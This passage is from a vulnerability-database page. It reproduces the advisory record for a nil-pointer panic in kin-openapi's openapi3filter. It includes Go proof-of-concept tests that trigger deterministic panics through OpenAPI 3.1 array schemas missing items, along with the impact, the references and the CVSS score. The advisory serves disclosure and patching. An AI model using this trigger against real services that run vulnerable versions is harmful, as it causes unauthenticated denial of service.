strings.NewReader(\"tags=a\"))\n\t\trequire.NoError(t, err)\n\t\t_, _ = io.ReadAll(resp.Body)\n\t\t_ = resp.Body.Close()\n\t\trequire.Equal(t, http.StatusInternalServerError, resp.StatusCode)\n\t}\n\trequire.Equal(t, n, panicCount)\n}\n\nfunc TestArrayItemsNilPanic_Deterministic(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tconst attempts = 50\n\tpanics := 0\n\tfor i := 0; i \u003c attempts; i++ {\n\t\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=x\"))\n\t\trequire.NoError(t, err)\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\tif catchPanic(func() {\n\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t}) != nil {\n\t\t\tpanics++\n\t\t}\n\t}\n\trequire.Equal(t, attempts, panics)\n}\n```\n\n**Observed results on the vulnerable tree:**\n\n- 3.1 accepts the schema (`Items == nil`); 3.0 rejects it\n- urlencoded, multipart, and response-header paths all panic with `nil pointer dereference`\n- **50/50** panic rate (100% deterministic)\n- E2E httptest server: **5/5** POSTs panic inside `ValidateRequest` \u2192 HTTP 500\n\n### Impact\n\n- **Type:** NULL Pointer Dereference \u2192 **unauthenticated remote denial of service**.\n- **Who is impacted:** applications using `github.com/getkin/kin-openapi/openapi3filter` to validate requests/responses against OpenAPI **3.1** documents that contain an `items`-less `type: array` in a urlencoded or multipart body property, or an array-typed response header (or other `parseArray` surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded \u2014 `doc.Validate()` does **not** reject them under 3.1.\n- **Attack:** a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.\n- **Consequence:** deterministic panic on every request to the operation. With stock `net/http`, the server logs `http: panic serving` and aborts the connection; without per-request recover (common outside pure `net/http` handlers), the process can crash.\n- **Not affected:** OpenAPI 3.0 documents (spec validation rejects missing `items`); JSON request bodies (different decoder path that does not hit this `Items.Value` inspection).",
  "id": "GHSA-p6wj-qrr4-pgh5",
  "modified": "2026-10-15T20:14:54Z",
  "published": "2026-10-15T20:14:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97394"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.143.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.